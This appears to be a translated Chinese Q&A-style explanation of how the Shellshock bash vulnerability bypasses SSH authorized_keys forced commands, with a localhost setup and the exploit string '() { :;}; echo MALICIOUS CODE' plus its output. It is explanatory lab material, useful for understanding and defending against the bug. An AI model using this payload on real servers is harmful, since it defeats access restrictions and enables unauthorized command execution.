可以利用此示例的一个示例是在带有authorized_keys
强制命令的服务器上。在上添加条目时~/.ssh/authorized_keys
,您可以在该行前面加上前缀,command="foo"
以强制foo
在使用ssh公钥的任何时间运行该行。使用此漏洞利用程序,如果目标用户的外壳程序设置为bash
,则他们可以利用漏洞利用程序来执行除强制执行命令以外的其他操作。
在示例中,这可能更有意义,所以这里是一个示例:
sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser
在这里,我们设置了一个用户testuser
,该用户使用您的ssh密钥强制任何ssh连接运行echo starting sleep; sleep 1
。
我们可以使用以下方法进行测试:
$ ssh testuser@localhost echo something else
starting sleep
请注意,我们echo something else
是如何无法运行的,但是starting sleep
显示了强制命令确实已运行。
现在让我们展示如何利用此漏洞:
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
之所以sshd
可行,是因为将SSH_ORIGINAL_COMMAND
环境变量设置为所传递的命令。因此,即使sshd
运行了sleep
,但我没有告诉我的命令,由于受到了攻击,我的代码仍然可以运行。